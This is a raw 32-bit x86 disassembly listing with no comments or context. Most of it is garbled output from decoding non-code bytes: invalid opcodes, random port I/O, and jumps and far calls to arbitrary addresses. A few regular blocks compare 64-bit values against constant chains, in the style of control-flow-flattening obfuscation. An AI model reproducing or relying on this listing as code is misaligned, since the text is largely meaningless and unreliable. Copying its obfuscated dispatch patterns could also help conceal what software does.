xchg edi, eax
push ds
call 0x3f788c2
sbb dword [ebp + 0x6d], 0xd995061d
aaa
sbb al, 0x31
inc ebp
mov byte [ebx], al
inc ebx
pushal
imul byte [eax - 4]
fild qword [ecx]
mov ebp, 0xc7f7d182
adc eax, 0x6a22f125
call 0x9d3ee3d6
adc eax, 0x74cf7d47
mov cs, edx
jp 0x682bd62c
push cs
adc esi, dword [0xcf7d4715]
je 0x682bd560
retf 0x577a
xor eax, 0xa53aa969
xor dword [0xa15ac1ed], eax
push esi
outsb dx, byte [esi]
push ss
lea esi, [eax - 0x4b]
mov eax, dword [ecx + esi*4 - 0x7e]
xchg edx, eax
daa
sub al, 0x9c
cmp edx, dword [esi + 0x64]
mov dh, 0x11
test byte [edi + ebp - 0xdf1309b], al
pop esi
xlatb
dec edi
pop ebx
jmp 0x682bd59e
pushfd
xchg dword [edi + 0xf], eax
ret 0xfeae
pushfd
xchg ecx, eax
and eax, 0x3b797542
mov ah, 0x46
sar dword [ecx - 0x7d], cl
jns 0x682bd5b1
in eax, 0x93
add byte [eax - 3], bh
jle 0x682bd5c9
xor dword [edi + 0x633e2979], esi
adc al, 0xa4
invalid
xchg bh, cl
push 0xf4f6d85d
in al, 0x33
ja 0x682bd622
insb byte es:[edi], dx
push esp
and edx, dword [esi - 0x63]
inc esi
push ss
scasd eax, dword es:[edi]
mov bl, 9
fmul dword [esi]
mov al, 0x2b
xchg ecx, eax
ror cl, cl
cmp al, 0x4b
invalid
nop
jmp 0x682be0e6
nop
add dword [ebp + 0xc], 2
mov dword [ebp - 0x88], 0x8a65a
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x90], 0x109e7
mov dword [ebp - 0x8c], 0
mov eax, dword [ebp - 0x88]
mov edx, dword [ebp - 0x84]
sub eax, dword [ebp - 0x90]
sbb edx, dword [ebp - 0x8c]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x98]
xor eax, 0xe9c76
or eax, dword [ebp - 0x94]
je 0x682bf7bc
mov edx, 0xe9c76
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x682c4059
mov eax, dword [ebp - 0x98]
xor eax, 0xba745
or eax, dword [ebp - 0x94]
je 0x682c16dc
mov edx, 0xba745
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x682c4059
mov eax, dword [ebp - 0x98]
xor eax, 0x79c73
or eax, dword [ebp - 0x94]
je 0x682c405f
mov edx, 0x79c73
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x682c4059
mov eax, dword [ebp - 0x98]
xor eax, 0x751ae
or eax, dword [ebp - 0x94]
je 0x682c213c
mov edx, 0x751ae
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x682c4059
mov eax, dword [ebp - 0x98]
xor eax, 0x72e9c
or eax, dword [ebp - 0x94]
je 0x682c021c
mov edx, 0x72e9c
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x682c4059
mov eax, dword [ebp - 0x98]
xor eax, 0x671c8
or eax, dword [ebp - 0x94]
je 0x682c35fc
mov edx, 0x671c8
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x682c4059
mov eax, dword [ebp - 0x98]
xor eax, 0x61aee
or eax, dword [ebp - 0x94]
je 0x682c0c7c
mov edx, 0x61aee
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x682c4059
mov eax, dword [ebp - 0x98]
xor eax, 0x52588
or eax, dword [ebp - 0x94]
je 0x682bed5c
mov edx, 0x52588
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x682c4059
mov eax, dword [ebp - 0x98]
xor eax, 0x3aedc
or eax, dword [ebp - 0x94]
je 0x682c2b9c
mov eax, dword [ebp - 0x98]
xor eax, 0x4b45b
or eax, dword [ebp - 0x94]
jne 0x682c4059
invalid
push eax
fsubrp st(3)
leave
les eax, [ebx + 0x76]
sub dword [esi - 0x34731ee3], ecx
jno 0x682be2f3
or dword [edi], ecx
invalid
popal
sub byte [ebx], 0x72
mov dh, 0xda
lds ecx, [edi]
sub ah, byte [ebx + 0x12]
punpcklwd mm7, dword [edi]
jne 0x682bedd1
int 0xca
pushfd
in al, dx
invalid
bound ebx, qword [eax + 0x10e5b904]
popfd
cmp al, 0xfc
cli
xor al, byte [eax - 0x3c]
push 0xfc12aafd
push edx
inc esi
mov ecx, dword [ebx]
push edi
mov esi, dword [ebp + 0x3109816]
adc eax, dword [edi]
aad 0xe1
mov al, byte [0xbc4ff637]
xor al, 0xde
push cs
ret
aad 0xe
jo 0x682bf83e
ret
test edx, 0x4f40d699
invalid
dec edi
or esi, dword [ebx + edx*2 - 0x58]
jl 0x682bf7ca
invalid
test byte [eax - 9], bl
cmc
fimul word [eax]
fadd st(2)
invalid
xchg ecx, eax
sbb byte [esi + 0x56393ce8], 0xe9
pushfd
push edi
cmp dword [ecx + 0x4627f64f], 0xf5ffe6b
idiv dword [ebx + 0x6854dcf1]
outsd dx, dword [esi]
add al, 0x39
salc
push 0xd639046f
push ebp
outsd dx, dword [esi]
jns 0x682c0ca5
in eax, 0xe3
pushal
sub eax, 0x155f6323
sbb eax, 0xd7e2f44f
add byte [eax + edx*2 - 0x6f9d28a3], ah
int3
lodsd eax, dword [esi]
xor eax, 0x64942f13
bound esi, qword [ebp + 0x325352db]
dec edi
sbb ch, byte [eax - 0x64]
pop esp
lcall 0xb2df, 0x708895f7
push es
jo 0x682c0c59
jmp 0x682c0c40
shr ebp, 1
int 0xc3
fbld tbyte [ebx - 0x41]
mov cl, 0xbe
invalid
daa
cmp dword [ecx - 0x7b860108], 0x34
mov esi, 0xe7c95317
ret
adc al, 0x98
mov ah, 0x2d
pop ebx
test ebx, ebp
dec edi
outsb dx, byte [esi]
pushal
xchg byte [esi + ebx*2], ch
std
push cs
dec ecx
adc eax, 0x859315bf
popal
mov edx, 0x652c3fa8
leave
sbb eax, 0x2c52b9a7
ret 0xf3d7
push 0xffffffffffffffc0
dec esp
int 0x65
sbb al, 2
jnp 0x682c163b
lahf
adc ah, ch
hlt
dec ecx
jne 0x682c1669
fsubr qword [esp + esi*2]
out dx, eax
mov byte [0xf7561795], al
test al, 0x12
pop ebx
cli
xchg dword [edi + 0x7ec41b60], esi
mov dl, 0x47
jae 0x682c168f
leave
daa
push ss
add byte [edx*4 - 0x6573b3b2], dl
push esi
pop esi
insd dword es:[edi], dx
cmp ch, dl
pop esp
pop es
aad 0xd0
mov eax, dword [0x47511880]
cld
invalid
stosb byte es:[edi], al
adc ecx, esi
mov ebp, 0xa1db7e01
out 0x46, al
invalid
clc
push esi
or eax, 0x132afefc
xor bh, al
xor byte [eax + 0x679d93d3], bh
jns 0x682c20fe
mov edi, fs
inc eax
adc eax, 0x5078162b
pop edi
jge 0x682c216d
imul edx, dword [esi + 0x68], 0x60261434
mov dword [ecx - 5], eax
fcom dword [ebp + 0x36]
int3
push es
movups xmm3, xmm1
xor dword [ebp + 0x5f], edi
jns 0x682c21db
xchg ecx, eax
or eax, 0xa45ad450
mov byte [ebx + 0x41c6a930], 0xec
jnp 0x682c2186
mov ebx, 0x1900cadb
fcmovne st(0), st(2)
add byte [ecx], bl
mov edx, 0xc363732c
sbb dword [ebx - 0x272ca8b0], edi
sub ebx, dword [0xad021e29]
dec edx
xor bh, ch
pop eax
xchg ebp, eax
aam 0xa
js 0x682c21a2
push ds
cmp byte [ebx - 0x5633bd6], dh
stosd dword es:[edi], eax
dec ecx
mov dword [ecx], esi
mov ebp, 0x4670beeb
enter 0x1d33, 0x47
sbb esp, dword [eax + 0x22]
jne 0x682c2232
add dword [eax], ebp
cwde
mov eax, dword [0x7574bbc6]
xchg byte fs:[esi + 8], al
mov dword [ecx], ecx
push ecx
sub edi, 6
call 0x840ce096
loopne 0x682c21f0
or bl, byte [eax + 0x49bb2171]
dec esp
mov ebx, 0x5a9feb4a
hlt
lodsd eax, dword [esi]
adc dword [ebx], ecx
pushfd
sub esi, eax
and eax, 0xbcb1089e
ret
push ds
test dword [eax + 0x3428a3a6], ebp
js 0x682c21d3
test al, 0xfa
nop
int3
pop ss
mov dword [0xde1c9a24], eax
push cs
push ecx
or edx, edx
mov dword [0x8f8f477f], eax
xor edx, esi
mov edi, 0x4d8c9ae9
mov al, byte [0xb100fa07]
cmp byte [edi], 0x79
sets byte [eax]
salc
mov dl, 0xc7
fsubr st(7), st(0)
lahf
mov ebp, 0x8b984bb1
loop 0x682c2220
das
arpl word [0x21802cd6], di
cmp eax, 0x21802cd6
sar byte [ebx], cl
xchg ebp, eax
jo 0x682c22c5
rcr byte cs:[edx], 1
out 0x2d, eax
lodsd eax, dword [esi]
adc al, 0x36
cmpsd dword [esi], dword es:[edi]
push ss
lcall 0x8b65, 0x7e05d6d5
int1
insd dword es:[edi], dx
arpl word [edi + esi*8 - 0x33a1a4ac], sp
nop
test dword [ebx], 0x76afcb57
invalid
loope 0x682c225a
push 0x72
adc ah, byte [eax + 0x10]
adc byte [ebp - 0x2b], dh
adc al, 0x5d
push edx
xor eax, 0xa52597ed
je 0x682c2263
sub byte [edx + 0x4f], ah
pop edi
jp 0x682c2337
in eax, 0x91
mov esi, 0x3c45f613
or ecx, dword [eax + 0x12]
or byte [edx + 0x5c5edc8], ch
cmp eax, 0xadc13f05
lodsd eax, dword [esi]
cmc
jp 0x682c22fc
push edi
xchg edi, eax
popfd
in al, dx
aas
push ebx
mov cl, 0x64
sub dword [0xd9654a96], 0x2860c639
cmp al, 0xa8
mov ch, 0x69
salc
lea edx, [esi + 0x237ba79e]
pop ecx
stosb byte es:[edi], al
ror dword [esp + ebp*8 + 0x5f], cl
aas
or eax, 0x3604cc90
fcomp qword [edx]
mov dl, 0x3c
push cs
aas
push esp
xchg ecx, eax
stosd dword es:[edi], eax
sar dword [edi + ebx], cl
mov edx, 0x4a46426b
push esi
mov ecx, 0xe5c2a6dc
adc al, 0x7d
fild word [ecx - 0x24]
and al, 0xc5
mov ah, dh
rcl byte [esi - 0x22], cl
daa
and ebx, dword [edi + 0x5966ad5a]
fistp qword [eax + eax*2 - 0x456ee8b7]
mov word [edi - 0x3d3c1416], gs
div dword [0x2a8ad763]
xlatb
mov ch, byte [edx]
cmpsd dword [esi], dword es:[edi]
lodsd eax, dword [esi]
jns 0x682c235a
dec eax
jmp 0x682c22f3
invalid
xor al, 0xd5
fisubr word [esi - 0x4fdbda53]
add al, byte [ebp + ecx*2 - 0x589d2ba5]
dec ebp
pop ebx
aam 0x62
cmpsd dword [esi], dword es:[edi]
retf
mov esp, 0x704e4e2e
cld
or eax, 0x84d9a733
sub al, 0x13
push edi
ja 0x682c2b65
mov byte [eax + 0x2b2e9bc6], dh
and al, byte [ecx]
sub byte [ebx + eax*8 - 0x725d3cbb], al
jne 0x682c2bbf
mov al, 0xc6
wait
sub esp, dword cs:[edx]
add dword [eax], ebp
test bl, al
inc ebp
ret
inc esp
int1
inc esp
and eax, 0x4ce89bd9
xor ebx, dword [ebx]
jns 0x682c2b85
pop esi
out 0xaf, eax
mov ch, 0x5d
inc ecx
pushfd
aad 0x43
movaps xmmword [ecx - 0x157d822b], xmm2
mov byte [ebp + ebx*2 - 0x51], dh
insd dword es:[edi], dx
je 0x682c2b7b
xchg edx, eax
or byte [eax], 0x36
push es
jb 0x682c2bad
hlt
out 0x62, eax
mov edi, 0xe5b59512
xor dh, byte [edi + 0x4e]
sal dl, cl
les edx, [edi + 0x59]
lodsb al, byte [esi]
shr edx, cl
sbb edx, dword [0x925b8239]
add byte [edx], 0x64
outsd dx, dword [esi]
dec edi
push edx
ficomp dword [ebx + 0x735bb26a]
xchg ecx, eax
sub ecx, dword [eax + edi*2 + 0x76]
inc esi
dec edx
lds eax, [edx + 0x7e]
cmp al, 0xb1
lea ecx, [eax]
mov cl, 0x16
cwde
add edx, dword [ebx]
push esi
xchg dword [esi - 0x1a], edi
cmp byte [ebp - 0x754485ca], 0xb2
add al, 0xd0
sbb dword [eax], ecx
push 0x4f
jle 0x682c368c
mov al, byte [0xe9c7e49]
invalid
xor al, 0xb6
retf 0x9c58
nop
jmp 0x682fb0db
nop
jmp 0x682fb0db
nop
mov dword [ebp - 0x120], 0xdaaa1
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x128], 0xb5beb
mov dword [ebp - 0x124], 0
mov ecx, dword [ebp - 0x120]
mov ebx, dword [ebp - 0x11c]
mov eax, dword [ebp - 0x128]
mov edx, dword [ebp - 0x124]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], edx
mov eax, dword [ebp - 0x130]
xor eax, 0x19068c
or eax, dword [ebp - 0x12c]
je 0x682cd4b9
mov edx, 0x19068c
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x682cd4bc
mov eax, dword [ebp - 0x130]
xor eax, 0xc89d0
or eax, dword [ebp - 0x12c]
je 0x682c8c1c
mov edx, 0xc89d0
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x682cd4bc
mov eax, dword [ebp - 0x130]
xor eax, 0xa964a
or eax, dword [ebp - 0x12c]
je 0x682c6cfc
mov edx, 0xa964a
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x682cd4bc
mov eax, dword [ebp - 0x130]
xor eax, 0x95615
or eax, dword [ebp - 0x12c]
je 0x682c967c
mov edx, 0x95615
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x682cd4bc
mov eax, dword [ebp - 0x130]
xor eax, 0x8397e
or eax, dword [ebp - 0x12c]
je 0x682c629c
mov edx, 0x8397e
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x682cd4bc
mov eax, dword [ebp - 0x130]
xor eax, 0x61f00
or eax, dword [ebp - 0x12c]
je 0x682cca5c
mov edx, 0x61f00
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x682cd4bc
mov eax, dword [ebp - 0x130]
xor eax, 0x5f542
or eax, dword [ebp - 0x12c]
je 0x682cbffc
mov edx, 0x5f542
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x682cd4bc
mov eax, dword [ebp - 0x130]
xor eax, 0x4d999
or eax, dword [ebp - 0x12c]
je 0x682ca0dc
mov edx, 0x4d999
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x682cd4bc
mov eax, dword [ebp - 0x130]
xor eax, 0x2840b
or eax, dword [ebp - 0x12c]
je 0x682cb59c
mov edx, 0x2840b
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x682cd4bc
mov eax, dword [ebp - 0x130]
xor eax, 0x1d2b8
or eax, dword [ebp - 0x12c]
je 0x682c81bc
mov edx, 0x1d2b8
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x682cd4bc
mov eax, dword [ebp - 0x130]
xor eax, 0x13f8b
or eax, dword [ebp - 0x12c]
je 0x682c775c
mov edx, 0x13f8b
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x682cd4bc
mov eax, dword [ebp - 0x130]
xor eax, 0xe895
or eax, dword [ebp - 0x12c]
je 0x682cab3c
mov edx, 0xe895
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x682cd4bc
mov eax, dword [ebp - 0x130]
xor eax, 0xb74a
or eax, dword [ebp - 0x12c]
je 0x682c4ddc
mov edx, 0xb74a
mov eax, 0
add byte [eax], al
add byte [eax], al
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x682cd4bc
mov eax, dword [ebp - 0x130]
xor eax, 0x472e
or eax, dword [ebp - 0x12c]
je 0x682c437c
mov eax, dword [ebp - 0x130]
xor eax, 0x5a22
or eax, dword [ebp - 0x12c]
je 0x682c583c
test eax, edx
invalid
jmp 0x682cd4bc
pop es
loop 0x682c4361
sbb bh, byte [esp + edx*4 + 0x53]
dec edx
push esp
mov eax, dword [0xfa925fca]
mov ebp, 0xd93e7c13
sub eax, 0xdb80acab
xchg ebx, eax
adc al, 0x84
or al, 0xc9
jns 0x682c43f9
fldcw word [eax + 0x55f6d2f4]
sbb eax, dword [ebx - 0x34885e7e]
push cs
adc al, 0xee
mov al, 0x27
inc esp
pop ss
adc al, 0x6e
jmp 0x682c4337
pop edx
movsd dword es:[edi], dword [esi]
sub dword [edi - 0x68], ebp
adc ah, byte [eax + ebx*2 - 0x3f118a97]
mov byte [0x510eb568], al
invalid
dec ecx
stc
enter 0x426b, 0xffffffffffffffe4
lahf
jno 0x682c43b8
out dx, eax
in al, dx
movsb byte es:[edi], byte [esi]
lds eax, [ebx + 0x55]
push esi
outsb dx, byte [esi]
or dword [ebx - 0x32], ebp
aad 0x9c
pushal
jo 0x682c4445
ret
mov eax, dword [0x3e54c2d3]
outsd dx, dword [esi]
insd dword es:[edi], dx
je 0x682c448b
mov ch, 0x92
add ah, byte [eax + 0x5503a23d]
mov ecx, 0x2f1ea763
sub esp, dword [0x2321]
add al, 0x4b
mov word [ecx], es
ljmp 0x5a81
in al, dx
inc edi
mov esp, 0x122f97a2
sub al, bh
xor al, 0x5f
adc ah, al
mov al, 0x76
inc eax
lodsd eax, dword [esi]
int1
mov bh, byte [ebx]
arpl dx, dx
leave
xchg esp, eax
iretd
iretd
mov ecx, 0xecbbfa36
rcr byte [edi - 0x4c], 0x27
pop edx
lds ecx, [esi + 0x7fca9c3d]
sub ch, 0x94
sub dh, dl
and al, 0x94
lodsd eax, dword [esi]
and ecx, dword [edx + 0x35]
aad 0xbb
cmp dword [ecx], ebp
mov ecx, 0x4dec172d
mov ah, 0x6e
inc edx
add al, 0x7f
add byte [edx + 0x56], bl
lodsb al, byte [esi]
sub byte [esp + edi*8 + 0x26], cl
sbb eax, 0x57e9a58
invalid
pop edi
or eax, 0x74b09e17
mov bl, 0x5c
ret
out dx, eax
out dx, al
test eax, 0xd6a11686
cmpsd dword [esi], dword es:[edi]
cmp al, 0xd7
jmp 0x8721f1d5
adc eax, 0xd6458c54
aas
cmp dword [eax], esi
bound ecx, qword [ebx - 0x68]
cmp byte [ebp + 0x6ee8faf3], 0x19
push es
push cs
das
popal
ror byte [ebx - 0x42dbfa5], 1
push esi
cmp bl, byte [edx]
mov eax, dword [0xe2819264]
xchg ebx, eax
das
fcomp dword [ecx - 0x607c77d7]
sahf
scasd eax, dword es:[edi]
out 0x8a, al
das
test byte [ecx], dh
xor eax, 0xb14f9fc8
dec esi
lea ecx, [ebx + 0x4b]
mov edi, 0x110abb3
cmc
jp 0x682c6c2f
retf 0xe0c8
dec esp
mov esi, 0xcf620e3a
adc eax, 0xa38f4b05
aam 0xae
push esi
jecxz 0x682c6c7a
or eax, 0x29e95479
xchg ah, bh
pushfd
adc al, 0x10
mov edi, 0x61fdf74a
cwde
xor ch, byte [esi - 0x5c]
outsb dx, byte [esi]
movsb byte es:[edi], byte [esi]
sbb al, 0x39
jmp 0x682c6c65
push eax
mov ch, 0x2a
jo 0x682c6cad
retf 0x9dfd
std
popfd
outsb dx, byte [esi]
jge 0x682c6c95
push 0x3bea0d22
mov esi, dword [ebx - 0x17]
inc edx
lahf
jbe 0x682c6cde
nop
int3
inc esp
mov bh, 0xdb
lds edx, [ecx]
outsb dx, byte [esi]
test al, 0x42
aas
xlatb
salc
cli
dec ebp
or al, 0x5d
adc ecx, ebx
jecxz 0x682c6ce2
cmp al, 0x9e
salc
int 0xfe
out dx, eax
clc
push 0xffffffffffffffa8
pop ebp
outsb dx, byte [esi]
test al, 0xdb
cmp dword [ebx], edi
rol ch, 1
sub byte [ebp + ebx - 0x1c], dh
idiv dword [ebx - 0x68]
mov eax, dword [0x94e9d143]
shr dword [ebx], cl
je 0x682c6cf3
dec esi
int 0x9e
je 0x682c6ccf
sal dword [0x3e27b59e], 0xda
wait
add eax, 0x6f3f8d19
into
retf 0x878d
ljmp 0xf950:0x65fe5fbb
cmp dword [ebp + 0x34], esi
insb byte es:[edi], dx
or dl, al
mov esp, 0x48c48932
jecxz 0x682c7736
invalid
inc ecx
cmp dl, byte [ebp + ebx*8 - 0x49]
imul edi, dword [ebx + 0x3776407d], 0xffffffe8
jle 0x682c81d4
test dword [edx - 0x6e], ebx
in al, 0xde
mov dword [0xdcf72059], eax
in eax, 0x92
test al, 0x5c
sbb dword [ebx], esp
and eax, 0x12b6ef5d
and dl, byte [edi + 0x10]
fild dword [edx]
xor dword [eax], ecx
movsb byte es:[edi], byte [esi]
invalid
add byte [eax - 0x78], al
sbb ebp, esi
int1
adc ah, byte [ecx + edi]
xchg bh, dl
in al, 0xa5
invalid
mov ebx, 0xf71902bd
mov dword [edi + 0x6a458263], edi
jge 0x682c8bfd
cmc
ljmp 0x47af
int3
ficom word [edx + 0x5c]
add al, 0xdf
jge 0x682c96df
push ebx
adc edx, esp
xor eax, 0xfc60caab
sbb ecx, dword [eax + 0x70]
das
xor esp, dword [edi + 0x66]
lodsb al, byte [esi]
ffree st(7)
jle 0x682c9676
retf
cmc
test byte [edx + 0x7199dcd8], bh
rol dword [edx - 0x1e1ba42f], 1
jns 0x682c970e
invalid
lodsb al, byte [esi]
mov ebx, 0x673ee3bd
or al, 0xb9
adc esi, dword [edi - 0x1bd801ac]
jb 0x682c970e
movsd dword es:[edi], dword [esi]
les edx, [edi - 0x49bd0be7]
sbb al, 0x94
and dword [eax + 0x574f65ca], edi
push edi
dec esp
mov byte [0x5f905866], al
movsd dword es:[edi], dword [esi]
jno 0x682c972c
ljmp 0x89d6:0xe828e36f
xchg byte [ebp - 0x40], dh
outsd dx, dword [esi]
ret 0x986
outsb dx, byte [esi]
xlatb
push es
out dx, eax
push 0x3b83d8ea
mov ah, 0x4d
jno 0x682cabbb
adc al, 0x41
sal byte [eax], 0x19
push edx
lcall 0xedb5, 0x6e7644de
aad 0x58
hlt
stc
scasd eax, dword es:[edi]
in al, 0x15
add dword [ecx], ecx
inc edi
dec esp
cmc
cmpsd dword [esi], dword es:[edi]
test eax, 0x69cf0787
aad 0x66
adc dh, cl
xchg esp, edx
mov esp, 0x8458c0df
sbb al, 0x14
push cs
xor dword [eax - 0x42], esp
jnp 0x682cac29
mov ch, 0xd7
cmpsd dword [esi], dword es:[edi]
jg 0x682cac2e
push cs
cmpsd dword [esi], dword es:[edi]
xchg edi, eax
loope 0x682cac4d
je 0x682cac4a
wait
imul esi
aaa
sbb eax, 0x43c71e2b
in eax, dx
sub ebx, dword [eax - 0x30]
sbb ah, dl
out dx, eax
sbb ch, cl
invalid
add bl, byte [ecx]
iretd
sub byte [0xa1dcc90], al
cmp al, 0x27
or bh, byte [edi]
cmpsb byte [esi], byte es:[edi]
push eax
fnstcw word [eax - 5]
jle 0x682cac7d
mov ecx, 0x1d125b6d
hlt
add edi, ebp
iretd
mov esi, 0xf3d7d220
retf 0x752b
sbb byte [edx - 0x130ac82e], ch
leave
ja 0x682cac0e
cmpsb byte [esi], byte es:[edi]
push 0x5c
add al, 0xfd
dec ecx
mov edi, 0xeac1e7b4
mov esp, 0x785a4d41
dec edi
or al, 0x47
scasd eax, dword es:[edi]
iretd
dec esi
iretd
test eax, 0x1865a508
mov word [edi - 0x50], fs
js 0x682cc072
mov ah, 0x24
sub al, 0x60
xchg edx, eax
movsd dword es:[edi], dword [esi]
out dx, eax
mov eax, dword [0x7f60d2f4]
daa
or esi, dword [ebx - 0x1357570e]
outsb dx, byte [esi]
push ss
stc
xchg esp, eax
push edi
dec esi
invalid
jp 0x682cc0f3
lodsd eax, dword [esi]
invalid
inc edi
inc esi
pop ecx
push edi
jo 0x682cc165
xchg ebx, eax
outsb dx, byte [esi]
push esi
jecxz 0x682cc0fa
out 0x3c, al
ror byte [ebp + 0x73], 0xbc
mov dl, 0xe2
and ebx, 0xfb49349
salc
int3
xchg ebp, eax
pop ebx
enter 0x49a0, 0x60
cli
mov al, byte [0x5a364155]
mov byte [0x3eb2d2dd], al
inc edi
and edx, dword [ebp + 0x6b]
add eax, 0xf9303a0c
loop 0x682cc1e8
pop edx
xchg ebp, eax
mov esp, 0x93c53ca0
sahf
retf 0xe4d7
cli
lcall 0x1725, 0x6ab42385
push eax
insd dword es:[edi], dx
salc
sbb ah, ah
xor edi, dword [ebx - 0x15797c4c]
aaa
test ebp, esp
jns 0x682cc1ca
dec edx
invalid
bound esi, qword [ecx]
mov ebx, 0x1c6743f3
insb byte es:[edi], dx
xchg ecx, eax
pop ecx
leave
fisttp word [eax + 0x25]
clc
pop esp
test eax, 0xbb93c1ca
pop edi
sub byte [esi], al
loop 0x682cc1c2
push eax
push esp
mov cl, 7
std
jmp 0x682d44a0
mov al, 0x31
js 0x682ccad9
sub byte [esi - 0x62], 0x5e
lodsd eax, dword [esi]
repne lodsb al, byte [esi]
out dx, eax
mov ecx, 0xb7032429
int 0x8a
and ebp, eax
or dword [esi], esp
scasb al, byte es:[edi]
popfd
mov cl, 0x7e
imul edx, esp, 0xb8c97c12
cwde
adc edx, edx
adc dword [esi + 0x3df9da4b], 0x84ac5872
mov edi, 0x9bcbe179
daa
outsb dx, byte [esi]
test bh, ah
invalid
and ch, byte [edi + edx*8 + 0x518e9ba8]
and eax, esi
test eax, 0x3439b132
push ds
mul dword ds:[eax - 0x23]
invalid
nop
jmp 0x682cd4bd
nop
mov dword [ebp - 0x138], 0xa3369
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x140], 0xcd792
mov dword [ebp - 0x13c], 0
mov eax, dword [ebp - 0x140]
mov edx, dword [ebp - 0x13c]
sub eax, dword [ebp - 0x138]
sbb edx, dword [ebp - 0x134]
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], edx
mov eax, dword [ebp - 0x148]
xor eax, 0xa147f
or eax, dword [ebp - 0x144]
je 0x682ceac3
mov edx, 0xa147f
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x682d09e0
mov eax, dword [ebp - 0x148]
xor eax, 0x99e4f
or eax, dword [ebp - 0x144]
je 0x682cf523
mov edx, 0x99e4f
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x682d09e0
mov eax, dword [ebp - 0x148]
xor eax, 0x8d83e
or eax, dword [ebp - 0x144]
je 0x682cff83
mov edx, 0x8d83e
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x682d09e0
mov eax, dword [ebp - 0x148]
xor eax, 0x7a4ba
or eax, dword [ebp - 0x144]
je 0x682ce063
mov edx, 0x7a4ba
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x682d09e0
mov eax, dword [ebp - 0x148]
xor eax, 0x2a429
or eax, dword [ebp - 0x144]
je 0x682d09e3
mov eax, dword [ebp - 0x148]
xor eax, 0x5665c
or eax, dword [ebp - 0x144]
jne 0x682d09e0
add esi, dword [eax + 0x5e]
push ss
xchg esi, eax
jns 0x682cd645
cmp esp, dword [ecx + ebx]
and al, 0x19
push edx
pop ds
dec eax
sub ch, byte [edi]
outsb dx, byte [esi]
jmp 0x7249df2a
mov bh, 0xe9
jo 0x682cd609
xchg esp, eax
inc edi
jnp 0x682cd6b2
mov dword [0x28909269], eax
or dword [ecx + edi*2 - 0x375e8edf], ecx
wait
cmovnp esi, dword [esi - 0x54]
mov cl, 0xa1
inc esi
inc esi
cmp al, 0x61
loop 0x682cd6e2
invalid
aam 0x42
mov dh, 0xe
sar dword [bp + di - 0x14], 1
jecxz 0x682cd6a9
sub byte [edx + 0x23], al
aad 0x30
leave
cmp byte [esi], ah
insd dword es:[edi], dx
invalid
xor edx, edx
pop esp
jno 0x682cd6e3
enter 0x50e5, 0xffffffffffffffa2
in eax, dx
jmp 0x682cd6bb
test al, 0x91
js 0x682cd6b2
add al, 0x86
jb 0x682cd694
push ebx
ljmp 0x85fa
scasb al, byte es:[edi]
sbb dl, byte [eax]
popfd
invalid
push esp
xor edi, eax
jo 0x682ce0b0
cld
xor dword [eax + 0x1a56f544], esi
pushal
daa
invalid
in al, dx
mov dword [0x9bf29ac6], eax
cmp edx, dword [ebp + 0x55]
bound ebp, qword [ebp + 0x421b437a]
dec esi
fmul dword [eax - 0x6e]
test dword [esi - 0x3b], esp
je 0x682ce10c
jns 0x682ce09d
outsb dx, byte [esi]
adc byte [edx + 0x8556a21], dl
invalid
shr dword [ebp - 0x47], cl
sti
jae 0x682ce125
lds esi, [ecx - 0x58]
dec esp
sub al, 0x18
dec ebx
wait
call 0xda049c54
and byte [ecx + 0x5b], bh
inc esp
loop 0x682ce0e9
js 0x682ce12b
leave
sub dword [eax - 0x2c8919d8], 0xe070b8f8
mov ch, byte [esi + 0x64]
lodsb al, byte [esi]
xchg edx, eax
scasb al, byte es:[edi]
mov byte [esi], dh
ret
int1
push ecx
sbb eax, 0x7d84a940
cmpsd dword [esi], dword es:[edi]
dec eax
push ds
aam 0xfd
wait
or edx, 0xf57d5ec8
cmpsb byte [esi], byte es:[edi]
jo 0x682ce0ff
push ebx
pop es
les ecx, [ecx]
out dx, al
lodsb al, byte [esi]
